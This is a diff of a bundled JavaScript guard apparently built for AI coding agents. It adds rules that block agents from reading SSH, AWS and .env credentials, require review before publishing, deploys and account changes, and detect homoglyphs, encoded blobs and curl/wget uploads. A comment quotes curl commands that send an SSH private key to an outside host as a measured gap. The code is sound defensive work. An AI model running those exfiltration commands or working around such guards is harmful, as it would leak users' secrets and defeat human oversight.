+ tool: "{,mcp__*__}{add_member,remove_member,add_user_to_group,remove_user_from_group,add_collaborator,remove_collaborator,invite_user,invite_member,invite_user_to_slack,invite_users,add_org_member,remove_org_member,add_team_member,remove_team_member}",
7491
+ conditions: [],
7492
+ verdict: "review",
7493
+ reason: "This changes who belongs where. node9 asks before membership changes (Identity shield)."
7494
+ },
7495
+ {
7496
+ name: "shield:identity:review-user",
7497
+ tool: "{,mcp__*__}{create_user,delete_user,deactivate_user,suspend_user,activate_user,unlock_user,make_admin,promote_user,demote_user,update_user_role}",
7498
+ conditions: [],
7499
+ verdict: "review",
7500
+ reason: "This creates, removes or promotes an account. node9 asks before accounts change (Identity shield)."
7501
+ },
7502
+ {
7503
+ name: "shield:identity:review-mfa",
7504
+ tool: "{,mcp__*__}{reset_mfa,reset_factors,disable_mfa,enroll_factor,deactivate_factor}",
7505
+ conditions: [],
7506
+ verdict: "review",
7507
+ reason: "This changes a second factor. node9 asks before credentials change (Identity shield)."
7508
+ }
7509
+ ],
7510
+ dangerousWords: []
7511
+ };
6807
7512
  k8s_default = {
6808
7513
  name: "k8s",
6809
7514
  description: "Protects Kubernetes clusters from destructive AI operations",
@@ -7005,133 +7710,302 @@ var init_dist = __esm({
7005
7710
  reason: "DROP COLUMN is irreversible \u2014 blocked by Postgres shield"
7006
7711
  },
7007
7712
  {
7008
- name: "shield:postgres:review-grant-revoke",
7009
- tool: "*",
7713
+ name: "shield:postgres:review-grant-revoke",
7714
+ tool: "*",
7715
+ conditions: [
7716
+ { field: "sql", op: "matches", value: "\\b(GRANT|REVOKE)\\b", flags: "i" }
7717
+ ],
7718
+ verdict: "review",
7719
+ reason: "Permission changes require human approval (Postgres shield)"
7720
+ }
7721
+ ],
7722
+ dangerousWords: ["dropdb", "pg_dropcluster"]
7723
+ };
7724
+ project_jail_default = {
7725
+ name: "project-jail",
7726
+ description: "Restricts AI agents from reading sensitive credential files outside the current project",
7727
+ aliases: ["jail"],
7728
+ smartRules: [
7729
+ {
7730
+ name: "shield:project-jail:block-read-ssh",
7731
+ tool: "bash",
7732
+ conditions: [
7733
+ {
7734
+ field: "command",
7735
+ op: "matches",
7736
+ value: "(cat|less|head|tail|bat|more|open|print|nano|vim|vi|emacs|code|type|grep|egrep|fgrep|rg|ag|ack|awk|gawk|sed|cut|tr|jq|yq|od|xxd|hexdump|strings|base64|sort|uniq|tac|nl|dd)\\s+.*?\\.ssh[\\/\\\\]",
7737
+ flags: "i"
7738
+ }
7739
+ ],
7740
+ verdict: "block",
7741
+ reason: "Reading SSH private keys is blocked by project-jail shield"
7742
+ },
7743
+ {
7744
+ name: "shield:project-jail:block-read-aws",
7745
+ tool: "bash",
7746
+ conditions: [
7747
+ {
7748
+ field: "command",
7749
+ op: "matches",
7750
+ value: "(cat|less|head|tail|bat|more|open|print|nano|vim|vi|emacs|code|type|grep|egrep|fgrep|rg|ag|ack|awk|gawk|sed|cut|tr|jq|yq|od|xxd|hexdump|strings|base64|sort|uniq|tac|nl|dd)\\s+.*?\\.aws[\\/\\\\]",
7751
+ flags: "i"
7752
+ }
7753
+ ],
7754
+ verdict: "block",
7755
+ reason: "Reading AWS credentials is blocked by project-jail shield"
7756
+ },
7757
+ {
7758
+ name: "shield:project-jail:block-read-env",
7759
+ tool: "bash",
7760
+ conditions: [
7761
+ {
7762
+ field: "command",
7763
+ op: "matches",
7764
+ value: "(cat|less|head|tail|bat|more|open|print|nano|vim|vi|emacs|code|type|grep|egrep|fgrep|rg|ag|ack|awk|gawk|sed|cut|tr|jq|yq|od|xxd|hexdump|strings|base64|sort|uniq|tac|nl|dd)\\s+.*?\\.env(\\.(local|production|staging|development|production\\.local|staging\\.local|development\\.local))?(?=\\s|$|[;&|>)<])",
7765
+ flags: "i"
7766
+ }
7767
+ ],
7768
+ verdict: "block",
7769
+ reason: "Reading .env files is blocked by project-jail shield"
7770
+ },
7771
+ {
7772
+ name: "shield:project-jail:review-read-credentials",
7773
+ tool: "bash",
7774
+ conditions: [
7775
+ {
7776
+ field: "command",
7777
+ op: "matches",
7778
+ value: "(cat|less|head|tail|bat|more|open|print|nano|vim|vi|emacs|code|type|grep|egrep|fgrep|rg|ag|ack|awk|gawk|sed|cut|tr|jq|yq|od|xxd|hexdump|strings|base64|sort|uniq|tac|nl|dd)\\s+.*(credentials\\.json|\\.netrc|\\.npmrc|\\.docker[\\/\\\\]config\\.json|gcloud[\\/\\\\]credentials)",
7779
+ flags: "i"
7780
+ }
7781
+ ],
7782
+ verdict: "review",
7783
+ reason: "Reading credential files requires approval (project-jail shield)"
7784
+ },
7785
+ {
7786
+ name: "shield:project-jail:block-read-ssh-any-tool",
7787
+ tool: "*",
7788
+ conditions: [
7789
+ {
7790
+ field: "file_path",
7791
+ op: "matches",
7792
+ value: "([\\/\\\\]\\.ssh([\\/\\\\]|$)|^\\.ssh[\\/\\\\])",
7793
+ flags: "i"
7794
+ }
7795
+ ],
7796
+ verdict: "block",
7797
+ reason: "Reading SSH private keys is blocked by project-jail shield"
7798
+ },
7799
+ {
7800
+ name: "shield:project-jail:block-read-aws-any-tool",
7801
+ tool: "*",
7802
+ conditions: [
7803
+ {
7804
+ field: "file_path",
7805
+ op: "matches",
7806
+ value: "([\\/\\\\]\\.aws([\\/\\\\]|$)|^\\.aws[\\/\\\\])",
7807
+ flags: "i"
7808
+ }
7809
+ ],
7810
+ verdict: "block",
7811
+ reason: "Reading AWS credentials is blocked by project-jail shield"
7812
+ },
7813
+ {
7814
+ name: "shield:project-jail:block-read-env-any-tool",
7815
+ tool: "*",
7816
+ conditions: [
7817
+ {
7818
+ field: "file_path",
7819
+ op: "matches",
7820
+ value: "(^|[\\/\\\\])\\.env(?![\\w-])(?:[\\w.-]*\\.local$|(?!\\.(example|sample|template)\\b)(?!\\.test$)[\\w.-]*$)",
7821
+ flags: "i"
7822
+ }
7823
+ ],
7824
+ verdict: "block",
7825
+ reason: "Reading .env files is blocked by project-jail shield"
7826
+ },
7827
+ {
7828
+ name: "shield:project-jail:review-read-credentials-any-tool",
7829
+ tool: "*",
7830
+ conditions: [
7831
+ {
7832
+ field: "file_path",
7833
+ op: "matches",
7834
+ value: ".*(credentials\\.json|\\.netrc|\\.npmrc|\\.docker[\\/\\\\]config\\.json|gcloud[\\/\\\\]credentials|\\.kube[\\/\\\\]config)",
7835
+ flags: "i"
7836
+ }
7837
+ ],
7838
+ verdict: "review",
7839
+ reason: "Reading credential files requires approval (project-jail shield)"
7840
+ }
7841
+ ],
7842
+ dangerousWords: []
7843
+ };
7844
+ publishing_default = {
7845
+ name: "publishing",
7846
+ description: "Asks before something goes public or ships outside the organisation (a release, a package, a deploy, a post), whatever the request said. The same switch covers the shell commands that publish.",
7847
+ aliases: ["release", "deploy"],
7848
+ smartRules: [
7849
+ {
7850
+ name: "shield:publishing:review-release",
7851
+ tool: "{,mcp__*__}{create_release,publish_release,create_tag_release,update_release,promote_release}",
7852
+ conditions: [],
7853
+ verdict: "review",
7854
+ reason: "A release ships code to everyone who installs it. node9 asks before publishing, whatever the request said (Publishing shield)."
7855
+ },
7856
+ {
7857
+ name: "shield:publishing:review-package",
7858
+ tool: "{,mcp__*__}{publish_package,npm_publish,pypi_upload,publish_version,publish_extension}",
7859
+ conditions: [],
7860
+ verdict: "review",
7861
+ reason: "This publishes a package. node9 asks before publishing (Publishing shield)."
7862
+ },
7863
+ {
7864
+ name: "shield:publishing:review-deploy",
7865
+ tool: "{,mcp__*__}{deploy,create_deployment,deploy_site,promote_deployment,trigger_deploy,deploy_to_production,rollout}",
7866
+ conditions: [],
7867
+ verdict: "review",
7868
+ reason: "This deploys to an environment other people use. node9 asks before publishing (Publishing shield)."
7869
+ },
7870
+ {
7871
+ name: "shield:publishing:review-post",
7872
+ tool: "{,mcp__*__}{post_tweet,create_tweet,post_webpage,publish_post,create_post,publish_page,send_announcement,post_announcement,create_linkedin_post,schedule_post}",
7873
+ conditions: [],
7874
+ verdict: "review",
7875
+ reason: "This posts outside the organisation. node9 asks before publishing (Publishing shield)."
7876
+ },
7877
+ {
7878
+ name: "shield:publishing:review-visibility",
7879
+ tool: "{,mcp__*__}{set_visibility,make_public,set_public,publish_repository,change_visibility,update_visibility}",
7880
+ conditions: [],
7881
+ verdict: "review",
7882
+ reason: "This makes something public. node9 asks before publishing (Publishing shield)."
7883
+ },
7884
+ {
7885
+ name: "shield:publishing:review-npm-publish",
7886
+ tool: "bash",
7010
7887
  conditions: [
7011
- { field: "sql", op: "matches", value: "\\b(GRANT|REVOKE)\\b", flags: "i" }
7888
+ {
7889
+ field: "command",
7890
+ op: "matches",
7891
+ value: "(?:^|[^\\w-])(?:npm|pnpm)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
7892
+ flags: "i"
7893
+ }
7012
7894
  ],
7013
7895
  verdict: "review",
7014
- reason: "Permission changes require human approval (Postgres shield)"
7015
- }
7016
- ],
7017
- dangerousWords: ["dropdb", "pg_dropcluster"]
7018
- };
7019
- project_jail_default = {
7020
- name: "project-jail",
7021
- description: "Restricts AI agents from reading sensitive credential files outside the current project",
7022
- aliases: ["jail"],
7023
- smartRules: [
7896
+ reason: "npm publish ships the package to everyone who installs it. node9 asks before publishing (Publishing shield)."
7897
+ },
7024
7898
  {
7025
- name: "shield:project-jail:block-read-ssh",
7899
+ name: "shield:publishing:review-yarn-publish",
7026
7900
  tool: "bash",
7027
7901
  conditions: [
7028
7902
  {
7029
7903
  field: "command",
7030
7904
  op: "matches",
7031
- value: "(cat|less|head|tail|bat|more|open|print|nano|vim|vi|emacs|code|type|grep|egrep|fgrep|rg|ag|ack|awk|gawk|sed|cut|tr|jq|yq|od|xxd|hexdump|strings|base64|sort|uniq|tac|nl|dd)\\s+.*?\\.ssh[\\/\\\\]",
7905
+ value: "(?:^|[^\\w-])(?:yarn)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
7032
7906
  flags: "i"
7033
7907
  }
7034
7908
  ],
7035
- verdict: "block",
7036
- reason: "Reading SSH private keys is blocked by project-jail shield"
7909
+ verdict: "review",
7910
+ reason: "yarn publish ships the package to everyone who installs it. node9 asks before publishing (Publishing shield)."
7037
7911
  },
7038
7912
  {
7039
- name: "shield:project-jail:block-read-aws",
7913
+ name: "shield:publishing:review-twine-upload",
7040
7914
  tool: "bash",
7041
7915
  conditions: [
7042
7916
  {
7043
7917
  field: "command",
7044
7918
  op: "matches",
7045
- value: "(cat|less|head|tail|bat|more|open|print|nano|vim|vi|emacs|code|type|grep|egrep|fgrep|rg|ag|ack|awk|gawk|sed|cut|tr|jq|yq|od|xxd|hexdump|strings|base64|sort|uniq|tac|nl|dd)\\s+.*?\\.aws[\\/\\\\]",
7919
+ value: "(?:^|[^\\w-])(?:twine)(?![\\w-])[^;&|]{0,200}?\\s(?:upload)(?![\\w-])",
7046
7920
  flags: "i"
7047
7921
  }
7048
7922
  ],
7049
- verdict: "block",
7050
- reason: "Reading AWS credentials is blocked by project-jail shield"
7923
+ verdict: "review",
7924
+ reason: "twine upload publishes to PyPI. node9 asks before publishing (Publishing shield)."
7051
7925
  },
7052
7926
  {
7053
- name: "shield:project-jail:block-read-env",
7927
+ name: "shield:publishing:review-python-publish",
7054
7928
  tool: "bash",
7055
7929
  conditions: [
7056
7930
  {
7057
7931
  field: "command",
7058
7932
  op: "matches",
7059
- value: "(cat|less|head|tail|bat|more|open|print|nano|vim|vi|emacs|code|type|grep|egrep|fgrep|rg|ag|ack|awk|gawk|sed|cut|tr|jq|yq|od|xxd|hexdump|strings|base64|sort|uniq|tac|nl|dd)\\s+.*?\\.env(\\.(local|production|staging|development|production\\.local|staging\\.local|development\\.local))?(?=\\s|$|[;&|>)<])",
7933
+ value: "(?:^|[^\\w-])(?:poetry|uv|hatch|flit)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
7060
7934
  flags: "i"
7061
7935
  }
7062
7936
  ],
7063
- verdict: "block",
7064
- reason: "Reading .env files is blocked by project-jail shield"
7937
+ verdict: "review",
7938
+ reason: "This publishes the Python package to PyPI. node9 asks before publishing (Publishing shield)."
7065
7939
  },
7066
7940
  {
7067
- name: "shield:project-jail:review-read-credentials",
7941
+ name: "shield:publishing:review-release-tool-publish",
7068
7942
  tool: "bash",
7069
7943
  conditions: [
7070
7944
  {
7071
7945
  field: "command",
7072
7946
  op: "matches",
7073
- value: "(cat|less|head|tail|bat|more|open|print|nano|vim|vi|emacs|code|type|grep|egrep|fgrep|rg|ag|ack|awk|gawk|sed|cut|tr|jq|yq|od|xxd|hexdump|strings|base64|sort|uniq|tac|nl|dd)\\s+.*(credentials\\.json|\\.netrc|\\.npmrc|\\.docker[\\/\\\\]config\\.json|gcloud[\\/\\\\]credentials)",
7947
+ value: "(?:^|[^\\w-])(?:lerna|changeset|vsce|ovsx)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
7074
7948
  flags: "i"
7075
7949
  }
7076
7950
  ],
7077
7951
  verdict: "review",
7078
- reason: "Reading credential files requires approval (project-jail shield)"
7952
+ reason: "This publishes packages or an editor extension through a release tool. node9 asks before publishing (Publishing shield)."
7079
7953
  },
7080
7954
  {
7081
- name: "shield:project-jail:block-read-ssh-any-tool",
7082
- tool: "*",
7955
+ name: "shield:publishing:review-cargo-publish",
7956
+ tool: "bash",
7083
7957
  conditions: [
7084
7958
  {
7085
- field: "file_path",
7959
+ field: "command",
7086
7960
  op: "matches",
7087
- value: "([\\/\\\\]\\.ssh([\\/\\\\]|$)|^\\.ssh[\\/\\\\])",
7961
+ value: "(?:^|[^\\w-])(?:cargo)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
7088
7962
  flags: "i"
7089
7963
  }
7090
7964
  ],
7091
- verdict: "block",
7092
- reason: "Reading SSH private keys is blocked by project-jail shield"
7965
+ verdict: "review",
7966
+ reason: "cargo publish ships the crate. node9 asks before publishing (Publishing shield)."
7093
7967
  },
7094
7968
  {
7095
- name: "shield:project-jail:block-read-aws-any-tool",
7096
- tool: "*",
7969
+ name: "shield:publishing:review-gem-push",
7970
+ tool: "bash",
7097
7971
  conditions: [
7098
7972
  {
7099
- field: "file_path",
7973
+ field: "command",
7100
7974
  op: "matches",
7101
- value: "([\\/\\\\]\\.aws([\\/\\\\]|$)|^\\.aws[\\/\\\\])",
7975
+ value: "(?:^|[^\\w-])(?:gem)(?![\\w-])[^;&|]{0,200}?\\s(?:push)(?![\\w-])",
7102
7976
  flags: "i"
7103
7977
  }
7104
7978
  ],
7105
- verdict: "block",
7106
- reason: "Reading AWS credentials is blocked by project-jail shield"
7979
+ verdict: "review",
7980
+ reason: "gem push publishes to RubyGems. node9 asks before publishing (Publishing shield)."
7107
7981
  },
7108
7982
  {
7109
- name: "shield:project-jail:block-read-env-any-tool",
7110
- tool: "*",
7983
+ name: "shield:publishing:review-docker-push",
7984
+ tool: "bash",
7111
7985
  conditions: [
7112
7986
  {
7113
- field: "file_path",
7987
+ field: "command",
7114
7988
  op: "matches",
7115
- value: "(^|[\\/\\\\])\\.env(?![\\w-])(?:[\\w.-]*\\.local$|(?!\\.(example|sample|template)\\b)(?!\\.test$)[\\w.-]*$)",
7989
+ value: "(?:^|[^\\w-])(?:docker|podman)(?![\\w-])[^;&|]{0,200}?\\s(?:push|--push)(?![\\w-])",
7116
7990
  flags: "i"
7117
7991
  }
7118
7992
  ],
7119
- verdict: "block",
7120
- reason: "Reading .env files is blocked by project-jail shield"
7993
+ verdict: "review",
7994
+ reason: "docker push publishes the image to a registry. node9 asks before publishing (Publishing shield)."
7121
7995
  },
7122
7996
  {
7123
- name: "shield:project-jail:review-read-credentials-any-tool",
7124
- tool: "*",
7997
+ name: "shield:publishing:review-gh-release",
7998
+ tool: "bash",
7125
7999
  conditions: [
7126
8000
  {
7127
- field: "file_path",
8001
+ field: "command",
7128
8002
  op: "matches",
7129
- value: ".*(credentials\\.json|\\.netrc|\\.npmrc|\\.docker[\\/\\\\]config\\.json|gcloud[\\/\\\\]credentials|\\.kube[\\/\\\\]config)",
8003
+ value: "(?:^|[^\\w-])(?:gh)(?![\\w-])[^;&|]{0,200}?\\srelease\\s+(?:create|upload|edit)(?![\\w-])",
7130
8004
  flags: "i"
7131
8005
  }
7132
8006
  ],
7133
8007
  verdict: "review",
7134
- reason: "Reading credential files requires approval (project-jail shield)"
8008
+ reason: "gh release ships a release on GitHub. node9 asks before publishing (Publishing shield)."
7135
8009
  }
7136
8010
  ],
7137
8011
  dangerousWords: []
@@ -7220,11 +8094,18 @@ var init_dist = __esm({
7220
8094
  [bash_safe_default.name]: bash_safe_default,
7221
8095
  [docker_default.name]: docker_default,
7222
8096
  [filesystem_default.name]: filesystem_default,
8097
+ // Dangerous actions as category shields (node9Firewall#385): an MCP app's
8098
+ // money, credential and publishing tools, asked about whatever the request
8099
+ // said. One glob per rule covers the bare name the gateway sends and the
8100
+ // mcp__<server>__ name the agent hook sends.
8101
+ [finance_default.name]: finance_default,
7223
8102
  [github_default.name]: github_default,
8103
+ [identity_default.name]: identity_default,
7224
8104
  [k8s_default.name]: k8s_default,
7225
8105
  [mongodb_default.name]: mongodb_default,
7226
8106
  [postgres_default.name]: postgres_default,
7227
8107
  [project_jail_default.name]: project_jail_default,
8108
+ [publishing_default.name]: publishing_default,
7228
8109
  [redis_default.name]: redis_default
7229
8110
  };
7230
8111
  assertBuiltinShieldRegexesAreSafe();
@@ -7938,6 +8819,80 @@ var init_dist = __esm({
7938
8819
  return s.untrustedContent.afterExposure === "log-only" ? "log" : "review";
7939
8820
  }
7940
8821
  };
8822
+ INVISIBLE_RE = /[­͏؜᠎​-‏‪-‮⁠-⁤-︀-️]|[\u{E0000}-\u{E007F}]/gu;
8823
+ INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
8824
+ HOMOGLYPHS = {
8825
+ // Cyrillic lowercase
8826
+ \u0430: "a",
8827
+ \u0435: "e",
8828
+ \u043E: "o",
8829
+ \u0440: "p",
8830
+ \u0441: "c",
8831
+ \u0443: "y",
8832
+ \u0445: "x",
8833
+ \u0456: "i",
8834
+ \u0458: "j",
8835
+ \u0455: "s",
8836
+ "\u0501": "d",
8837
+ "\u051B": "q",
8838
+ "\u051D": "w",
8839
+ \u04BB: "h",
8840
+ \u0261: "g",
8841
+ \u0451: "e",
8842
+ "\u04CF": "l",
8843
+ "\u217C": "l",
8844
+ // Cyrillic uppercase
8845
+ \u0410: "A",
8846
+ \u0412: "B",
8847
+ \u0415: "E",
8848
+ \u041A: "K",
8849
+ \u041C: "M",
8850
+ \u041D: "H",
8851
+ \u041E: "O",
8852
+ \u0420: "P",
8853
+ \u0421: "C",
8854
+ \u0422: "T",
8855
+ \u0425: "X",
8856
+ \u0405: "S",
8857
+ \u0406: "I",
8858
+ \u0408: "J",
8859
+ \u04AE: "Y",
8860
+ "\u051A": "Q",
8861
+ "\u051C": "W",
8862
+ // Greek lowercase
8863
+ \u03B1: "a",
8864
+ \u03BF: "o",
8865
+ \u03BD: "v",
8866
+ \u03B5: "e",
8867
+ \u03B9: "i",
8868
+ \u03BA: "k",
8869
+ \u03C1: "p",
8870
+ \u03C4: "t",
8871
+ \u03C5: "u",
8872
+ \u03C7: "x",
8873
+ \u03B3: "y",
8874
+ // Greek uppercase
8875
+ \u0391: "A",
8876
+ \u0392: "B",
8877
+ \u0395: "E",
8878
+ \u0396: "Z",
8879
+ \u0397: "H",
8880
+ \u0399: "I",
8881
+ \u039A: "K",
8882
+ \u039C: "M",
8883
+ \u039D: "N",
8884
+ \u039F: "O",
8885
+ \u03A1: "P",
8886
+ \u03A4: "T",
8887
+ \u03A5: "Y",
8888
+ \u03A7: "X"
8889
+ };
8890
+ HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
8891
+ MAX_BLOBS = 32;
8892
+ MIN_DECODED = 16;
8893
+ BASE64_RUN_RE = /[A-Za-z0-9+/]{32,}={0,2}|[A-Za-z0-9_-]{32,}/g;
8894
+ HEX_RUN_RE = /\b(?:[0-9a-fA-F]{2}){24,}\b/g;
8895
+ HEX_ESCAPE_RUN_RE = /(?:\\x[0-9a-fA-F]{2}){16,}/g;
7941
8896
  ({ syntax } = mvdanSh);
7942
8897
  sharedParser = syntax.NewParser();
7943
8898
  MESSAGE_FLAGS = /* @__PURE__ */ new Set([
@@ -7975,6 +8930,7 @@ var init_dist = __esm({
7975
8930
  AST_CACHE_MAX = 5e3;
7976
8931
  astCache = /* @__PURE__ */ new Map();
7977
8932
  PARSE_FAIL = /* @__PURE__ */ Symbol("parse-fail");
8933
+ MAX_READING_PAYLOADS = 8;
7978
8934
  defaultExpansionOps = null;
7979
8935
  VARIABLE_READERS = /* @__PURE__ */ new Set([
7980
8936
  "read",
@@ -8381,6 +9337,20 @@ var init_dist = __esm({
8381
9337
  sort: /* @__PURE__ */ new Set(["--files0-from"])
8382
9338
  };
8383
9339
  SCP_VALUE_FLAGS = ["i", "F", "o", "c", "S", "P", "J", "D", "W", "l"];
9340
+ CURL_SOURCE_FLAGS = [
9341
+ "T",
9342
+ "--upload-file",
9343
+ "d",
9344
+ "--data",
9345
+ "--data-binary",
9346
+ "--data-ascii",
9347
+ "--data-urlencode",
9348
+ "--json",
9349
+ "F",
9350
+ "--form"
9351
+ ];
9352
+ CURL_VALUE_LETTERS = "dFTHouXAebcKEmwxUrQtCPDyYz".split("");
9353
+ WGET_VALUE_LETTERS = "OoaiBtTwQPeUARDIl".split("");
8384
9354
  TAR_VALUE_LETTERS = ["b", "C", "f", "F", "g", "H", "I", "K", "L", "N", "T", "V", "X"];
8385
9355
  ZIP_VALUE_LETTERS = ["b", "n", "P", "t", "s", "O", "x", "i"];
8386
9356
  RSYNC_VALUE_LETTERS = ["e", "f", "T", "B", "M"];
@@ -8437,7 +9407,25 @@ var init_dist = __esm({
8437
9407
  "aws s3 mv": { source: "allButLast" },
8438
9408
  "aws s3 sync": { source: "allButLast" },
8439
9409
  "gcloud storage cp": { source: "allButLast" },
8440
- "az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] }
9410
+ "az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] },
9411
+ // An HTTP upload is a copy out of the jail with the network as its
9412
+ // destination (fw#372 A2). Measured at the real gate before this row:
9413
+ // `curl -T ~/.ssh/id_rsa https://x/` and `curl -d @~/.ssh/id_rsa https://x/`
9414
+ // were ALLOWED in the shipped default (egress off, no taint on the file),
9415
+ // while `cp ~/.ssh/id_rsa /tmp/k` reviewed. The same slot model as the other
9416
+ // flagOperand verb; the read tier never saw curl because it prints nothing.
9417
+ // `--key`/`--cert` USE a file for TLS, like `ssh -i`, and stay quiet.
9418
+ curl: {
9419
+ source: "flagOperand",
9420
+ sourceFlags: CURL_SOURCE_FLAGS,
9421
+ sourceOperand: curlSourceOperand,
9422
+ valueLetters: CURL_VALUE_LETTERS
9423
+ },
9424
+ wget: {
9425
+ source: "flagOperand",
9426
+ sourceFlags: ["--post-file", "--body-file"],
9427
+ valueLetters: WGET_VALUE_LETTERS
9428
+ }
8441
9429
  };
8442
9430
  TAR_MODE_WORD = /^[a-zA-Z]+$/;
8443
9431
  COPY_VERB_HEADS = new Set(Object.keys(COPY_VERBS).map((k) => k.split(" ")[0]));
@@ -8649,6 +9637,11 @@ var init_dist = __esm({
8649
9637
  "rmdir"
8650
9638
  ]);
8651
9639
  INTERP_LEADING_TARGET = /* @__PURE__ */ new Set(["su"]);
9640
+ MAX_PAYLOAD_NESTING = 8;
9641
+ payloadNesting = 0;
9642
+ SCRIPT_RUNNERS = /* @__PURE__ */ new Set(["bash", "sh", "zsh", "dash", "ksh", "source", "."]);
9643
+ SCRIPT_RUNNER_VALUE_FLAGS = /* @__PURE__ */ new Set(["-o", "+o", "-O", "+O", "--rcfile", "--init-file"]);
9644
+ MAX_SCRIPT_OPERANDS = 8;
8652
9645
  NET_BINARIES = /* @__PURE__ */ new Set([
8653
9646
  // PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
8654
9647
  // is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
@@ -11081,6 +12074,21 @@ zoo`.split("\n");
11081
12074
  lengths = [24, 21, 18, 15, 12];
11082
12075
  hash = (value) => createHash2("sha256").update(value).digest();
11083
12076
  MAX_MNEMONIC_HASHES = 25e3;
12077
+ SECRET_VIEW_LIMITS = {
12078
+ /** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
12079
+ maxDepth: 4,
12080
+ /** Nested views per parent view, and nested text per call; past either the call is reviewed. */
12081
+ maxNestedViewsPerLeaf: 64,
12082
+ maxNestedBytes: 1048576,
12083
+ /** Joined hostname-label text per call; past it the call is reviewed. */
12084
+ maxJoinedLabelBytes: 1048576,
12085
+ /** Decoded fragments are matched in batches of about this many characters. */
12086
+ batchCharacters: 65536,
12087
+ /** Only a valid DNS name has its labels joined. */
12088
+ maxHostLength: 253,
12089
+ maxLabelLength: 63,
12090
+ maxLabels: 127
12091
+ };
11084
12092
  IBAN_LENGTH = {
11085
12093
  AD: 24,
11086
12094
  AE: 23,
@@ -11166,96 +12174,151 @@ zoo`.split("\n");
11166
12174
  SV: 28,
11167
12175
  TL: 23,
11168
12176
  TN: 24,
11169
- TR: 26,
11170
- UA: 29,
11171
- VA: 22,
11172
- VG: 24,
11173
- XK: 20,
11174
- YE: 30
11175
- };
11176
- B58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
11177
- B58_INDEX = Object.fromEntries(
11178
- [...B58].map((c, i) => [c, i])
11179
- );
11180
- XPRV_VERSIONS = /* @__PURE__ */ new Set([76066276, 77428856, 78791436]);
11181
- B62 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
11182
- CRC32_TABLE = null;
11183
- GITHUB_TOKEN_RE = /^gh[pousr]_([A-Za-z0-9]{30})([A-Za-z0-9]{6})$/;
11184
- B64URL = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
11185
- B64URL_INDEX = Object.fromEntries(
11186
- [...B64URL].map((c, i) => [c, i])
11187
- );
11188
- CASK_TWO_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AEIMQUYcgkosw048"]);
11189
- CASK_FOUR_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AQgw"]);
11190
- INVISIBLE_RE = /[­͏؜᠎​-‏‪-‮⁠-⁤-︀-️]|[\u{E0000}-\u{E007F}]/gu;
11191
- INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
11192
- HOMOGLYPHS = {
11193
- // Cyrillic lowercase
11194
- \u0430: "a",
11195
- \u0435: "e",
11196
- \u043E: "o",
11197
- \u0440: "p",
11198
- \u0441: "c",
11199
- \u0443: "y",
11200
- \u0445: "x",
11201
- \u0456: "i",
11202
- \u0458: "j",
11203
- \u0455: "s",
11204
- "\u0501": "d",
11205
- "\u051B": "q",
11206
- "\u051D": "w",
11207
- \u04BB: "h",
11208
- \u0261: "g",
11209
- \u0451: "e",
11210
- "\u04CF": "l",
11211
- "\u217C": "l",
11212
- // Cyrillic uppercase
11213
- \u0410: "A",
11214
- \u0412: "B",
11215
- \u0415: "E",
11216
- \u041A: "K",
11217
- \u041C: "M",
11218
- \u041D: "H",
11219
- \u041E: "O",
11220
- \u0420: "P",
11221
- \u0421: "C",
11222
- \u0422: "T",
11223
- \u0425: "X",
11224
- \u0405: "S",
11225
- \u0406: "I",
11226
- \u0408: "J",
11227
- \u04AE: "Y",
11228
- "\u051A": "Q",
11229
- "\u051C": "W",
11230
- // Greek lowercase
11231
- \u03B1: "a",
11232
- \u03BF: "o",
11233
- \u03BD: "v",
11234
- \u03B5: "e",
11235
- \u03B9: "i",
11236
- \u03BA: "k",
11237
- \u03C1: "p",
11238
- \u03C4: "t",
11239
- \u03C5: "u",
11240
- \u03C7: "x",
11241
- \u03B3: "y",
11242
- // Greek uppercase
11243
- \u0391: "A",
11244
- \u0392: "B",
11245
- \u0395: "E",
11246
- \u0396: "Z",
11247
- \u0397: "H",
11248
- \u0399: "I",
11249
- \u039A: "K",
11250
- \u039C: "M",
11251
- \u039D: "N",
11252
- \u039F: "O",
11253
- \u03A1: "P",
11254
- \u03A4: "T",
11255
- \u03A5: "Y",
11256
- \u03A7: "X"
12177
+ TR: 26,
12178
+ UA: 29,
12179
+ VA: 22,
12180
+ VG: 24,
12181
+ XK: 20,
12182
+ YE: 30
11257
12183
  };
11258
- HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
12184
+ IBAN_BBAN_SHAPE = {
12185
+ AT: /^\d{16}$/,
12186
+ BE: /^\d{12}$/,
12187
+ CH: /^\d{5}[A-Z0-9]{12}$/,
12188
+ CZ: /^\d{20}$/,
12189
+ DE: /^\d{18}$/,
12190
+ DK: /^\d{14}$/,
12191
+ ES: /^\d{20}$/,
12192
+ FI: /^\d{14}$/,
12193
+ FR: /^\d{10}[A-Z0-9]{11}\d{2}$/,
12194
+ GB: /^[A-Z]{4}\d{14}$/,
12195
+ HU: /^\d{24}$/,
12196
+ IE: /^[A-Z]{4}\d{14}$/,
12197
+ IL: /^\d{19}$/,
12198
+ IT: /^[A-Z]\d{10}[A-Z0-9]{12}$/,
12199
+ LU: /^\d{3}[A-Z0-9]{13}$/,
12200
+ NL: /^[A-Z]{4}\d{10}$/,
12201
+ NO: /^\d{11}$/,
12202
+ PL: /^\d{24}$/,
12203
+ PT: /^\d{21}$/,
12204
